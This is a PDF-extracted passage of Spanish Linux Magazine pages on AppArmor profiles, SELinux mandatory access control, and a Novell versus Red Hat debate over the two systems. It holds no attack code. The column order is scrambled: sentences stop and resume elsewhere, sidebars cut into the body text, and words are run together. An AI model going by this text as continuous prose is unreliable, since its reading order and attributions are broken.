nado para esta tarea, usr.bin.httpd2-pre-
fork, deniega a Apache, y con ello a
Squidfire, el acceso a todos los ficheros
de registro, como confirma el siguiente
mensaje /var/log/audit/audit.log:
type=APPARMOR msg=auditU
(1143872666.069:205): U
REJECTING r access to U
/var/log/squid (httpd2-preforkU
(14820) profile /usr/sbinU
/httpd2-prefork active U
DEFAULT_URI)
W W W . L I N U X - M A G A Z I N E . E S
Figura 1: Squidfire analizando los intentos de acceso registrados por Squid. Para restringir los
accesos a los ficheros de registro a esta aplicación web, Apache se ejecuta con
mod_change_hat para habilitar el soporte de AppArmor. De esta forma, el sistema de seguri-
dad conoce qué aplicación web está actualmente activa.
01 # vim:syntax=subdomain
02 # Last Modified: Sun Jan 22
10:16:55 2006
03 /opt/kde3/bin/kpdf
flags=(complain) {
04 #include
<abstractions/authentication>
05 #include <abstractions/base>
06 #include <abstractions/bash>
07 #include <abstractions/gnome>
08 #include <abstractions/kde>
09 #include
<abstractions/nameservice>
10 #include
<abstractions/user-write>
11
12 / r,
13 /etc r,
14 /etc/X11/.kstylerc.lock rw,
15
/etc/X11/.qt_plugins_3.3rc.lo
ck rw,
16 /etc/X11/.qtrc.lock rw,
17 /etc/exports r,
18 /etc/rpc r,
19 <I>[...]<I>
Listado 2: Perfil Kpdf
AppArmor • PORTADA
19Número 22
les a través de las directivas Location y
Directory. Los administradores pueden
indicarle al módulo la solución que prefie-
ren utilizando las directivas ImmDefaul-
tHatName y ImmHatNamedirectives.
El prefijo Imm es una reminiscencia de
las raíces de AppArmor, Immunix. En rea-
lidad, el módulo ha sido renombrado a
mod_apparmor en versiones posteriores,
siendo ahora las palabras reservadas
AAHatName y AADefaultHatName.
ImmDefaultHatName (o AADefaultHat-
Name) selecciona un perfil por defecto
para cada servidor virtual. Además, los
subperfiles pueden ser asignados a zonas
individuales utilizando las directivas Direc-
tory o Location.
Las siguientes líneas en la configuración
de Apache asignarían un “hat” a la aplica-
ción web Squidfire:
<Directory U
“/srv/www/htdocs/squid”>
ImmHatName squidfire
</Directory>
Habrá que llamar al subperfil ^squidfire
en vez de a ^squidfire/index.php (Línea 2
en el Listado 3).
AppArmor proporciona a los adminis-
tradores de sistemas una nueva solución
en el campo de la seguridad de servidores,
especialmente en entornos compartidos
de hosting donde múltiples clientes com-
parten un mismo servidor web.
La asignación de un “hat” estricto a
cada host virtual y la restricción del
acceso del “hat” a los ficheros pertene-
cientes a un único cliente, mitigarán el
peligro de los agujeros de seguridad en las
aplicaciones web de
los clientes sin poner
en peligro al resto de
los clientes. Es decir,
sería una buena idea
comprobar manual-
mente las políticas
para esto o crearlas
manualmente desde
cero, en vez de confiar
en el modo de
“queja”, algo que no
debe ser muy compli-
cado para la mayoría
de los administrado-
res.
ConclusionesAppArmor encierra a las aplicaciones críticas
en una caja de arena, restringiendo el acceso
a ficheros específicos y limitando al sistema
a ejecutar comandos específicos.
Si resulta que la aplicación contiene
alguna vulnerabilidad que permita a un ata-
cante acceder a la shell o le permita ejecutar
comandos con las credenciales de la víc-
tima, entonces AppArmor entra en acción.
No se le permite a la aplicación salirse de la
cárcel. Aunque la protección práctica pro-
porcionada por una herramienta como
AppArmor no elimina la vulnerabilidad, el
atacante no podrá explotar el agujero de
seguridad para hacerse con el control del sis-
tema.
Este principio protege a una máquina con-
tra los exploits que aun no se han detectado,
lo que lo hacé especialmente útil para pro-
gramas que sean accesibles desde la red o
programas que tengan que procesar datos
desde fuentes de poca confianza (emails,
imágenes, vídeo clips, documentos de ofi-
mática).
Las aplicaciones compatibles con
“change-hat” pueden incluso gestionar su
estado en tiempo de ejecución, aplicando
diferentes subperfiles según dicte la situa-
ción. Esto añade la posibilidad de definir
perfiles para aplicaciones web específicas en
los servidores web, aplicando reglas específi-
cas basándose en la URI, en los hosts virtua-
les o en la ruta de los directorios.
AppArmor ofrece una solución práctica
en el campo de la seguridad de las aplicacio-
nes Linux. La alternativa ofrecida por
AppArmor es una opción eficiente para los
usuarios que no quieran enredarse con la
complejidad adicional de sistemas de seguri-
dad tales como SELinux. Para saber más
sobre los méritos relativos a AppArmor y
SELinux, véase la comparación AppArmor
vs. SELinux de este mismo número de
Linux Magazzine. n
Figura 2: Para obtener los eventos de AppArmor hay que hacer clic
en “Scan system log” y el asistente sugerirá un perfil.
01 <I>[...]<I>
02 ^/squid/index.php {
03 #include <abstractions/bash>
04 #include
<abstractions/nameservice>
05
06 /bin/bash ixr,
07 /dev/tty rw,
08 /etc/ld.so.cache r,
09 /lib/ld-2.3.90.so ixr,
10 /lib/lib*so* r,
11
/srv/www/htdocs/squid/cache.inc.p
hp r,
12
/srv/www/htdocs/squid/config.inc.
php r,
13
/srv/www/htdocs/squid/default_con
fig.inc.php r,
14 /srv/www/htdocs/squid/index.php
r,
15
/srv/www/htdocs/squid/parse_squid
_row.inc.php r,
16 /tmp/access.log_1.3.0.incr,
17 /usr/bin/tail ixr,
18 /var/log/apache2/access_log w,
19 /var/log/squid r,
20 /var/log/squid/access.log r,
21 }
Listado 3: Subperfil de Apache[1] AppArmor: http://www.opensuse.org/
AppArmor
[2] Lista de correo de AppArmor: http://
forge.novell.com/mailman/listinfo/
apparmor-general
[3] AppArmor RPMs en Novell Forge:
http://forge.novell.com/modules/
xfmod/project/?apparmor
[4] Repositorio del Kernel: http://www.
kernel.org
[5] Parches para el kernel de AppArmor
de la imagen de Enero: http://forgeftp.
novell.com/apparmor/
Development%20-%20January%20Sn
apshot/
[6] Squidfire: http://squidfire.sourceforge.
net
[7] Systrace: http://www.systrace.org
RECURSOS
PORTADA • AppArmor
20 Número 22 W W W . L I N U X - M A G A Z I N E . E S
SELinux y otro sistema de seguridad simi-
lar reemplazan al sistema DAC con una
alternativa mucho más segura conocida
como Control de Acceso Obligatorio (MAC).
Un sistema MAC permite que el administra-
dor del sistema defina políticas que propor-
cionan un control mucho más preciso sobre
la capacidad del usuario para acceder a
recursos y modificar permisos. SELinux
mantiene también el control sobre el rango
de privilegios asignados a un proceso. Al
proceso no se le permite tener privilegios
que no necesite.
Si SELinux está implementado correcta-
mente, un intruso que consiga acceder al
sistema Linux se verá severamente limitado
en cuanto a las acciones que puede realizar
una vez dentro. Como veremos en este artí-
culo, SELinux proporciona un marco de
seguridad verdaderamente potente y versá-
til, si estamos dispuestos a lidiar con la com-
plejidad que pueda suponer conseguir un
sistema correctamente configurado.
Contexto de SeguridadSELinux usa contextos de seguridad como
criterio básico de acceso. El contexto con-
siste un una cuenta de usuario de SELinux
(no confundir con el usuario Unix), junto
con el rol de usuario y el tipo. SELinux
guarda el contexto de seguridad de los
archivos directamente en el sistema de
archivos, aunque este método sólo funciona
con Ext 3 y XFS en el momento de escribir
este artículo. Existen parches para Reiser FS,
pero JFS no está soportado todavía.
Si hacemos ls -Z obtendremos el contexto
de seguridad de un archivo: la Figura 1
muestra user_u:object_r:paper_t. El usuario
y grupo de Unix es spenneb, mientras que
SELinux identifica al usuario como user_u.
El rol del usuario es object_r y el tipo
paper_t. El sufijo para estos nombres indica
el componente de contexto. A los procesos
se les asigna también un contexto de seguri-
dad, que podemos visualizar si ejecutamos
ps -Z (véase la Figura 1).
Deniega TodoUno de los principios de SELinux es que
cada proceso está asociado con un type
(tipo). SELinux comienza por denegar
toda clase de acceso por defecto. Incluso
el acceso del dominio example_t al tipo
example_t está prohibido. Cada acción
debe ser autorizada explícitamente. La
SELinux es una adaptación del
kernel de Linux reforzada en
cuanto a seguridad, desarrollada
bajo los auspicios de la Agencia de Seguri-
dad Nacional (NSA) estadounidense. Según
la NSA, SELinux trabaja reforzando las polí-
ticas de control de acceso que confinan los
programas de usuario y los servidores del
sistema al mínimo nivel de privilegio que
necesiten para hacer su trabajo.
La seguridad de un sistema ordinario de
Linux se basa en un concepto conocido
como Control de Acceso Discrecional (DAC).
En un sistema DAC, al usuario se le concede
el acceso a un recurso (como un archivo o
un directorio) en función de sus credenciales
de usuario, y los usuarios tienen la discre-
ción de modificar los permisos de cualquier
recurso al que traten de controlar. Este
diseño proporciona a un potencial atacante
medios suficientes para lograr la entrada a
un sistema. Si el usuario root inicia el Adobe
Reader para acceder a un PDF de una fuente
no fiable, un atacante podría explotar una
vulnerabilidad para lanzar una shell de root,
incluso aunque las shells de root no tengan
nada que ver con lo que supuestamente
está haciendo Adobe Reader.
SELinux • PORTADA
21Número 22W W W . L I N U X - M A G A Z I N E . E S
Control de Acceso Obligatorio con SELinux
SEGURIDADSEGURIDADENDURECIDAENDURECIDA
SELinux ofrece un sistema
de Control de Acceso Obligato-
rio para Linux, si estás dispuesto a
entrar a fondo.
POR RALF SPENNEBERG
PORTADA • SELinux
22 Número 22 W W W . L I N U X - M A G A Z I N E . E S
política puede ser semejante a esta del
dominio emacs_t:
allow emacs_t paper_t:file
{create ioctl read getattr U
lock write append setattr};
Esto permite a los procesos del dominio
emacs_t realizar las operaciones entre cor-
chetes en los objetos de tipo paper_t. La
clase del objeto :file especifica que estos
objetos deben ser archivos normales.
Cambiar DominiosSi un usuario normal inicia el editor Emacs,
el proceso no usa el dominio emacs_t de
manera automática. De hecho, se requieren
permisos para cambiar los dominios, y el
proceso está automatizado. Para permitir
que esto ocurra, previamente una regla
define un punto de entrada al nuevo domi-
nio del binario del editor Emacs. El archivo
del programa necesita el tipo emacs_exec_t
(como etiqueta del sistema de archivos) y
SELinux requiere la siguiente regla:
allow emacs_t emacs_exec_t:U
file entrypoint;
SELinux permite ahora a los ejecutables de
tipo emacs_exec_t que entren en el dominio
emacs_t cuando se inicien. Hasta este
momento todo conforme, pero SELinux aún
tiene que permitir al llamante que efectúe
esta acción. Como el llamante se ubica en
otro dominio, se produce un cambio de
dominio cuando se inicia el proceso. Se
necesitan una regla de permiso y una regla
de transición de tipo para poder realizar esta
operación:
allow { userdomain } U
emacs_t:process transition;
type_transition { userdomain }U
emacs_exec_t:process emacs_t;
La regla allow permite a todos los procesos
que pertenezcan a un dominio de la lista
userdomain a lanzar nuevos procesos en el
dominio emacs_t. La regla de transición de
tipo que está a continuación especifica que
los procesos llamados serán asignados al
dominio emacs_t, en lugar de heredar el
dominio del llamante, en el caso de que el
archivo del programa sea del tipo
emacs_exec_t. Esto sólo se aplica si el lla-
mante pertenece a userdomain.
Para permitir a SELinux que despliegue
estas reglas en un sistema, todos los archi-
vos deben estar asignados al contexto ade-
cuado en un proceso que se denomina eti-
quetado. Archivos *.fc o de contexto de
archivos especifican qué archivo recibe qué
etiqueta:
/usr/bin/emacs(.*) — U
system_u:object_r:U
emacs_exec_t
Cuando un usuario en algún lugar del sis-
tema crea un archivo que coincide con el
patrón, SELinux le asigna el tipo de contexto
emacs_exec_t.
ComplejidadEste ejemplo demuestra claramente el con-
trol tan detallado de SELinux, y la consi-
guiente complejidad. Un administrador a
tiempo parcial no podría llevar el control.
Una política de SELinux puede alcanzar
fácilmente los 6MB (¡sólo en reglas, y en
ASCII!). Los desarrolladores han intentado
hacer algo para paliar el problema de la
complejidad desde hace bastante tiempo.
Fedora Core es una de las distribuciones
líderes con SELinux. Hasta la versión 4,
Fedora tenía dos políticas: Strict y Targeted.
Mientras que la política Strict implementaba
realmente un sistema MAC para cada pro-
ceso en el sistema, la política Targeted ins-
peccionaba algunos servicios que usaban
información potencialmente crítica, funda-
mentalmente servicios de red. El resto de
procesos de Fedora Core se ejecutaban en
un dominio especial unconfined_t igual al
de cualquier otro sistema sin SELinux.
A los procesos del dominio Unconfined se
les permite más o menos cualquier tipo de
acceso, ya que sólo son operativos los privi-
legios del DAC normal del sistema. El
método de SELinux es similar al de AppAr-
mor en este modo. Sin embargo, SELinux
en Fedora Core 4 aún necesita una política
de 2.25MB en ASCII en el modo Targeted
para alcanzar los niveles de detalle requeri-
dos.
AdministraciónLa estructura monolítica de las políticas
hace que sean difíciles de administrar. Los
cambios y añadidos a la política implican
siempre cambiar el código fuente y recom-
pilar el binario. Por supuesto, este tipo de
cambios es sólo para administradores.
Para facilitar las cosas a los administra-
dores de sistema, las políticas pueden con-
tener variables Boleanas para aquellos
valores que puedan cambiar en tiempo de
ejecución. Por ejemplo, la política Targeted
en Fedora Core 4 tiene al menos 95 varia-
bles que definen si SELinux monitoriza un
servicio y cómo se realizará esa monitoriza-
ción. Por ejemplo, la variable
httpd_can_network_connect especifica si al
servidor Web le está permitido establecer
conexiones de red por sí mismo a una base
de datos, por ejemplo. Las variables bolea-
Figura 1: SELinux asigna todos los archivos y procesos a un contexto de seguridad. El con-
texto y la política deciden qué tipo de acceso está permitido.
Figura 2: audit2allow le indica a SELinux que analice trazas de auditoría cuando han ocurrido
eventos que infringen la política.
nas le impedirán delegar tareas administra-
tivas a otros usuarios.
Política de ReferenciaLa distinción entre las políticas Strict y
Targeted plantea un problema: es
prácticamente imposible intercambiar
reglas entre políticas. Tresys ha desarrollado
la SELinux Reference Policy para solventar
el problema. La política de referencia de
SELinux tiene muchos objetivos, pero su
propósito más importante es alcanzar un
alto nivel de modularidad. La idea es dar a
los administradores la capacidad de cargar,
descargar y reemplazar módulos en tiempo
de ejecución. Para soportar la comunicación
entre módulos, cada módulo define su
propia interfaz. Para mejorar la usabilidad y
hacer que los módulos sean más fáciles de
comprender, cada módulo viene con su
propia documentación de la interfaz.
Podemos generar tanto una política Strict
como una poñitica Targeted desde la política
de referencia. Fedora Core 5 fue la primera
distribución en introducir esta nueva
tecnología.
Mientras que la política Targeted sólo
tiene dos módulos, base.pp y
enableaudit.pp, la política Strict comprende
no menos de 149 módulos binarios. En
cuanto a las dependencias, semodule carga
estos módulos.
Nuevos MódulosUn problema típico que aparece cuando
usamos SELinux es el de generar una nueva
política para un nuevo programa. Las exten-
siones como éstas ya son posibles con
módulos binarios, y esto elimina la necesi-
dad de pasarle el juego completo de reglas
puestas al día a SELinux. Un módulo com-
prende tres archivos:
• modul.fc
• modul.te
• modul.if
El archivo FC contiene los contextos del
archivo que definen cómo va a etiquetar SELi-
nux cada uno de los archivos. El archivo TE
contiene las reglas de ejecución del tipo. El
archivo IF es nuevo, y contiene la definición
de la interfaz del módulo y documentación
adjunta. Aunque el administrador puede escri-
bir estos archivos desde cero, Fedora Core 5
23Número 22W W W . L I N U X - M A G A Z I N E . E S
Figura 3: El IDE de SELinux, Slide, proporciona acceso al modular SELinux Reference Policy.
Slide está implementado como un plugin de Eclipse.
SELinux • PORTADASELinux • PORTADA
Aunque la seguridad multinivel (MLS) es
una de las características centrales de
SELinux, ésta se etiquetó como experi-
mental durante muchos meses. La
política de referencia es la primera política
MLS y soporta el modelo Bell-La-Padula,
que se inventó en 1973 para ayudar a
mantener secretos militares. Básica-
mente, el modelo asigna alcance y capaci-
dades a sujetos, mientras que los objetos
tienen alcance y rankings.
El modelo asegura que un objeto dentro
de su alcance puede ser leído sólo por
sujetos con capacidades iguales o may-
ores. Sólo se puede escribir en los objetos
si el sujeto tiene igual o menor ranking.
Cuando una persona con un rank mayor
crea un archivo, este archivo sólo puede
leerse por personas con igual o mayor
autorización para eavitar que información
sensible caiga en las manos equivocadas.
Para implementar MLS, el contexto de
seguridad tiene dos parámetros adi-
cionales: niveles MLS (Levels) desde el s0
al s15 y rangos MLS (Ranges) desde el c0
al c255.
Seguridad Multicategoría
Como casi nadie necesita un diseño MLS,
aparte de las fuerzas armadas y servicios
secretos, los desarrolladores han añadido
el concepto de Seguridad de Multicate-
goría (MCS) a su política de referencia. El
MCS suaviza la funcionalidad MLS. Todos
los objetos se asignan al nivel s0 de MLS.
El administrador del sistema puede selec-
cionar libremente las categorías para
otros objetos. Para respaldar los números
con descripciones intuitivas, los admin-
istradores pueden incluso asignar nom-
bres a estas categorías en el archivo
setrans.conf:
s0:c0=Confidential
s0:c1=Development
s0:c2=HumanResources
Después de asignar nombres a las cate-
gorías, el comando chcat entiende los
nombres y las categorías y puede asig-
narlas a archivos:
chcat — +Confidential U
/tmp/file.txt
Mientras que el archivo tenía anterior-
mente un contexto de seguridad de
root:object_r:tmp_t:, ahora tiene un con-
texto de root:object_r:tmp_t:Confidential.
El comando chcat puede asignar también
usuarios a una categoría. Cada archivo
que cree el usuario desde ese momento
tendrá la categoría MCS. A los usuarios
sin asignación de categoría no se les per-
mite acceder al archivo. Mientras que esta
función es similar a ACLs (Access Control
Lists) de Posix, MCS tendrá más fun-
cionalidades en el futuro. Por ejemplo, un
sistema de impresión puede provocar
una advertencia al imprimir algún docu-
mento concreto, en función de la cate-
goría. Un cliente de correo electrónico
podría negarse a enviar documentos
desde una categoría específica.
Seguridad Multinivel
referencia, soporta también la generación
directa de módulos. La Figura 2 muestra
audit2allow en plena acción.
Si Auditd no se está ejecutando, SELinux
envía mensajes a /var/log/messages. La
orden semodule -i local.pp carga y ejecuta
en ese momento el nuevo módulo. Es posi-
ble realizar cambios a mano al archivo TE,
algo razonable, aunque puede ser una
buena idea verificar los resultados con cui-
dado.
MAC por MACEn el momento de escribir este artículo, el
administrador del sistema es el único que
puede cambiar y recargar las políticas de
SELinux. Mientras que este era el único
método con el diseño monolítico de la tec-
nología antigua soportada, la nueva política
de referencia con su estructura modular
ofrece al administrador la posibilidad de
asignar diferentes atributos de acceso a los
archivos de políticas de módulos.
Hasta este punto, un proceso con la capa-
cidad de cargar una política tiene también la
capacidad de modificar la política al com-
pleto. La estructura modular soporta ahora
un nuevo método, para el que Tresys Tech-
nology ha desarrollado un servidor de polí-
ticas para SELinux: el SELinux Policy Server.
Junto al los objetivos ya mencionados, el
servidor de políticas trata de alcanzar otras
dos metas: soportar nuevos objetos admi-
nistrados por aplicaciones en espacio de
usuario, incluyendo bases de datos y tablas
de bases de datos. Además, el servidor de
políticas va a soportar una infraestructura
mejorada para la administración centrali-
zada de políticas en múltiples sistemas.
La versión previa ya soporta la idea de
políticas que permiten cambios específicos
en sí mismas. Los desarrolladores han intro-
ducido el nuevo comando policycon que
aplica un contexto de seguridad a módulos
de políticas concretas. Entonces es posible
permitir a nuestra propia política que se
modifique a sí misma. De nuevo, el
comando semodule administra esto, comu-
nicándose con el servidor de políticas en
espacio de usuario para ello.
Los programadores aún desaconsejan eje-
cutar un servidor de políticas en entornos
de producción, y desafortunadamente, el
ritmo de desarrollo se ha ralentizado un
poco últimamente.
DesarrolloAlrededor de SELinux se ha formado una
impresionante comunidad de desarrollado-
res y usuarios. El SELinux Symposium [7]
tiene lugar cada dos años. El de este año tuvo
lugar en febrero, con 29 conferencias y 5 tuto-
riales acerca de SELinux, a lo largo de 3 días.
Las diapositivas de las conferencias están dis-
ponibles desde la página Web del simposio.
El trabajo de desarrollo actual se está con-
centrando en añadir el entorno de trabajo
IPsec a SELinux. Esto le permitiría monitorizar
el tráfico de información a la red. Algunos de
estos desarrollo han visto la luz en el kernel
2.6.16 [10].
Muchos administradores están preocupa-
dos por introducir vulnerabilidades al usar
SELinux. La enormes políticas, que son
complicadas de comprender en su integri-
dad, contribuyen a esta sensación de incer-
tidumbre. Sin embargo, un sistema MAC
como SELinux está destinado a mejorar la
seguridad de nuestro sistema si se
configura adecuadamente. Y recuerde que
SELinux no puede dar privilegios a un pro-
ceso que no tuviera sin el sistema MAC.
SELinux no es el único responsable de per-
mitir o denegar accesos. El sistema DAC
normal de Linux tiene también que aprobar
el tipo de acceso en función de los criterios
de herencia.
Esperemos que los desarrolladores de
SELinux continúen trabajando duro en la
usabilidad una vez que ya han puesto las
bases para un sistema más usable,
mucho más modularizado y con servidor
de políticas. �
tiene un script llamado policygentool para ayu-
darnos a simplificar el proceso.
La política de generación de herramientas
espera que el administrador del sistema pro-
porcione el nombre del módulo a crear,
junto con la ruta al programa que gobierna
el módulo. La herramienta realiza al admi-
nistrador algunas preguntas más antes de
crear los archivos de configuración y el
módulo ya completado.
Si preferimos la opción de crear los
módulos de manera manual desde los tres
archivos, podemos ejecutar checkmodule
para compilar el archivo TE, y usar entonces
semodule_package para compilar el archivo
del módulo foo.pp, que podemos cargar eje-
cutando semodule -i foo.pp.
Modo de EntrenamientoEn lugar de intentar compilar de manera
manual los detalles de una política, tiene
más sentido crear reglas basadas en mensa-
jes de auditoría registrados por acceso dene-
gado. Y esto es exactamente lo que hace el
comando audit2allow. De hecho, lo que
hace es implementar una especie de modo
de entrenamiento. El resultado es reglas
SELinux que permiten exactamente los
tipos de acceso que la herramienta estaba
prohibiendo y registrando.
Con gran sensatez, el comando
audit2allow se ejecuta en modo permisivo
de SELinux, en el que el sistema simple-
mente registra las violaciones de la política
sin denegarlas. Una versión del comando
audit2allow modificada para la política de
24 Número 22 W W W . L I N U X - M A G A Z I N E . E S
PORTADA • SELinux
[1] Página de la NSA sobre SELinux:
http://www.nsa.gov/selinux/
[2] SELinux para distribuciones: http://
selinux.sourceforge.net
[3] SELinux Reference Policy: http://
serefpolicy.sourceforge.net
[4] Tresys: http://www.tresys.com
[5] SLIDE: http://selinux-ide.sourceforge.
net
[6] Servidor de políticas de SELinux:
http://sepolicy-server.sourceforge.net
[7] SELinux Symposium: http://www.
selinux-symposium.org
[8] SLIDE: http://www.tresys.com/files/
eclipse-update/
[9] Introducción a MCS: http://
james-morris.livejournal.com/8228.
html
[10] SELinux para IPsec: http://marc.
theaimsgroup.com/
?l=linux-netdev&m=11323409701113
3&w=2
RECURSOS
Hay un buen número de interfaces gráficas
disponibles para la administración de SELi-
nux. Slide (véase Figura 3) es el primer GUI
para la política de referencia. Tresys Tech-
nology ha implementado este IDE como
un plugin de Eclipse que soporta el desta-
cado de sintaxis, asistentes y autocomple-
tado de etiquetas predefinidas en la interfaz
del módulo. La instalación requiere el SDK
3.1 de Eclipse, la política de referencia y las
SE Tools. La manera más fácil de instalar
Slide es a través de un RPM o directamente
usando Eclipse desde su página Web [8].
Tras la instalación, deberíamos tener un
IDE bien definido y ordenado que tiene
algún punto flaco, pero que aún así nos
hace el trabajo mucho más llevadero, aun-
que está sólo en la versión 0.1.0.
IDEs
rente. AppArmor proporciona seguridad anivel de aplicaciones, protegiéndolas contradefectos latentes y protegiendo al sistemacompleto contra amenazas particulares comolos ataques de red, protegiendo a todas lasaplicaciones que hacen de interfaz de red.SELinux, por el contrario, se encarga de todoel sistema, incluyendo propiedades como losflujos de información. Paga el precio de lacomplejidad del software resultante. La restric-tiva política que SELinux pro-porcionó al principio erademasiado estricta para serútil y por ello se ha idomoviendo hacia un modeloparecido al de AppArmor,con políticas orientadas alobjetivo que simulan elmodelo de control de accesopor aplicaciones de AppAr-mor. Ésta última permite alos administradores confinarlas aplicaciones en términos
familiares: se especifica la aplicación que sedesea confinar y los ficheros que van a seraccedidos con sus rutas absolutas, seguidospor los modos familiares de acceso de lecturay escritura. Se pueden realizar autorizacionesde acceso a grupos de ficheros utilizando loscomodines típicos de la shell, por ejemplo/home/*/public_html/*.*.html r permite elacceso a todos los ficheros .html en los direc-torios public_html de todo el mundo.
Novell y RedHat están actualmente enplena guerra para establecer sus res-pectivos productos como sistemas de
protección Linux. Mientras RedHat adoptóhace unos años SELinux, Novell ha presen-tado su sistema de protección AppArmor trasadquirir Immunix. Ambos se presentan conlicencia GPL y comparten un objetivo común:hacer que Linux sea más seguro y proporcio-nar a los administradores un mayor controlsobre los privilegios de las aplicaciones.
Le hemos pedido a los representantes deNovell y Red Hat que nos expliquen por quésus sistemas de seguridad son los mejores.Crispin Cowan, que llegó a Novell desdeImmunix, nos expondrá primero las ventajasde AppArmor. Luego, Daniel Riek explicarápor qué Red Hat apuesta por SELinux.
Crispin Cowan, NovellAppArmor [1] y SELinux comparten los mis-mos objetivos de mejorar la seguridad deLinux, pero la forma de llevarlo a cabo es dife-
AppArmor vs. SELinux • PORTADA
25Número 22W W W . L I N U X - M A G A Z I N E . E S
Los expertos en seguridad de Novell y Red Hat cara a cara con AppArmor y SELinux
APPARMOR VSSELINUX¿Security Enhanced Linux o AppArmor? Linux Magazine ha invitado a dos personajes bien conocidos de Red
Hat y Novell para debatir los méritos de sus sistemas de seguridad. POR ACHIM LEITNER
Figura 1: Crispin Cowan: “La
simplicidad es el alma de la
seguridad…SELinux ha sido
diseñado para satisfacer
los deseos de la NSA para
las políticas complejas
arbitrarias a expensas del
uso… AppArmor fue dise-
ñado para el uso, cono-
ciendo las necesidades de
la mayoría de los usuarios
Linux”.
seguridad no se despliegue del todo y SELinux sedeshabilita con frecuencia cuando los usuariosencuentran que la política es difícil de gestionar.AppArmor se diseñó para que fuese fácil deutilizar, para adaptarse a las necesidades de lamayoría de los usuarios de Linux, ya seandomésticos o profesionales. Tan sólo hay queprobarlo por uno mismo: AppArmor estádisponible para Slackware, Ubuntu, Gentoo, RedHat, Pardus y se encuentra integrado en todas lasversiones nuevas de Suse Linux para lasarquitecturas x86, x86-64, Itanium, Power y lasseries Z.
Daniel Riek, Red HatSELinux aplica un control de acceso estrictobasado en MAC a nivel del kernel (véase el artí-culo sobre SELinux), mitigando el impacto de losataques que tengan éxito, garantizando la confi-dencialidad de los datos y cubriendo la demandade seguridad compleja gracias a los cambios dedominio dependientes del contexto.
La primera empresa que anunció su soporteen productos comerciales fue Novell, aunqueesto no significó que ellos proporcionaran unapolítica adecuada para su uso en sistemas de pro-ducción. En este punto, la política no era ade-cuada para un mercado amplio: demasiadoestricta y demasiadas restricciones para las aplica-ciones de usuario. Fue Red Hat quien lanzó la pri-mera versión madura del producto y lista para uti-lizarse en sistemas de producción. Cada instala-ción de Red Hat Enterprise Linux 4 y Fedora,habilita SELinux para los servicios de red centra-les por defecto.
La Comunidad GlobalSELinux está soportada por una comunidadamplia y activa. Además de los usuarios nocomerciales y los proveedores, la comunidadincluye a Red Hat, IBM, HP, NSA, DOD, Tresys yTrusted Computing Systems. Todas estas organi-zaciones cooperan en la implantación de políticasseguras, desarrollando una infraestructurapotente de auditoría y herramientas de desarrollode políticas [4], proporcionando soporte ante losproblemas e informando a los usuarios.
En contraste con esto, Novell abandonó el pro-yecto SELinux el año pasado y empezó a promo-cionar AppArmor, que adquirió recientemente deImmunix, como una alternativa más sencilla. Envez de investigar en cooperación con la comuni-dad OSS y ayudar a hacer que SELinux sea másfácil de utilizar, decidió dividir la arquitectura deseguridad de Linux y pasarle la responsabilidad alos desarrolladores y usuarios, en una soluciónque recuerda Dan Walsh, el presidente dedesarrollo de SELinux en Red Hat, y otros, de losproblemas de Unix [5].
PORTADA • AppArmor vs. SELinux
26 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Por el contrario, SELinux aplica etiquetas a losficheros y a los procesos, y define las políticas deseguridad en términos de qué etiquetas puedenaccederse desde otras etiquetas. Los controlesde acceso basados en etiquetas es una técnicaestablecida desde 1970, sin embargo, las etique-tas generalmente ocultan la facilidad de uso:• Hay que etiquetar el sistema de ficheros y
crear políticas de seguridad en pasos separa-dos, creando dependencias circulares para elusuario entre las especificaciones de etiquetasy las especificaciones de las políticas.
• Algunas aplicaciones como tar no preservanlas etiquetas, así que los datos archivados yrestaurados con tar perderán sus etiquetas.
• Los sistemas de ficheros NFS no soportan eti-quetas, así que el sistema de ficheros al com-pleto obtiene una única etiqueta. Por ellotodos los sistemas de ficheros de red obtienenuna política de todo o nada: cada aplicaciónpodrá o bien acceder a todo el sistema deficheros o bien no acceder a él.
La simplicidad es el alma de la seguridad:cuanto más complejo sea el sistema, más proba-bilidades habrá de que esté mal configurado. Ylo peor de todo, si la política de seguridad no secomprende, entonces no se puede decir que seauna política en absoluto; es una caja negra quese espera que proporcione alguna protección,pero sin saberlo realmente.
SencillezAppArmor es considerablemente más sencilloque SELinux. Esto puede verse en el vídeo deFosdem [2], donde una política para Apachese realiza en cinco minutos. El fichero de polí-tica de AppArmor para Apache tiene 133líneas, mientras que el correspondiente a lapolítica de Apache de SELinux tiene 826líneas. Magnus Runesson informó que pudoportar AppArmor a Ubuntu en menos tiempodel que le llevó comprender y modificar lapolítica de SELinux.
A pesar de la relativa simplicidad de AppAr-mor, puede también proporcionar una protec-ción de seguridad que SELinux no puede,ofreciendo confinamiento de subprocesos queforman parte de un proceso, algo que SELinuxacaba de incorporar. Sin embargo, AppArmortambién viene con un módulo para que Apa-che pueda usar esta característica, de modoque los usuarios puedan crear perfiles deAppArmor para elementos tan específicoscomo la ejecución de un script de perl pormod_perl o incluso una página PHP indivi-dual. No conozco otra tecnología que puedaconfinar páginas PHP individuales.
Sin Necesidad de CambiosAppArmor es transparente a las aplicaciones.No hay que realizar modificaciones a las apli-caciones para utilizarlo, excepto para el confi-namiento de subprocesos, que requiere algode cooperación del proceso protegido. Esacooperación se consigue utilizando unmódulo si la aplicación soporta módulos. SiAppArmor se elimina de forma abrupta, el sis-tema continua funcionando idénticamente dela misma forma que lo hacía con él, exceptoque ahora será más vulnerable a los ataques.
SELinux sólo puede aplicar algunas de suscaracterísticas a las aplicaciones que no hayansido modificadas; el conjunto completo decaracterísticas sólo estará disponible si sevuelve a enlazar la aplicación con la libreríalibselinux, que está disponible para las aplica-ciones de código abierto, pero no para las apli-caciones propietarias de las empresas.
Es Preferible AppArmorAppArmor y SELinux proporcionan seguridad dealta calidad. Pero parece que SELinux ha sidodiseñada para ajustarse a los deseos de la NSAcon políticas de complejidad arbitraria a expensasde su facilidad de uso. Un sistema difícil de usares algo crítico, porque a menudo hace que la
Crispin Cowan fue el CTO y fundador de
la empresa Immunix, Inc., reciente-
mente adquirida por Novell. Trabaja
actualmente como arquitecto en Novell
con respecto a la seguridad de las plata-
formas Linux y las aplicaciones que esta
empresa ofrece para Linux, y con espe-
cial atención al producto AppArmor que
llegó con la adquisición de Immunix.
Desarrolló varias tecnologías de seguri-
dad para los equipos, incluyendo el
compilador StackGuard que defiende a
las aplicaciones de los desbordamientos
de búfer y la interfaz LSM (Linux Secu-
rity Modules) de Linux 2.6. El Dr. Cowan
también es coinventor del método
“time-to-patch” que evalúa cuándo es
seguro aplicar un parche de seguridad.
Antes de la fundación de Immunix, fue
profesor en el departamento de informá-
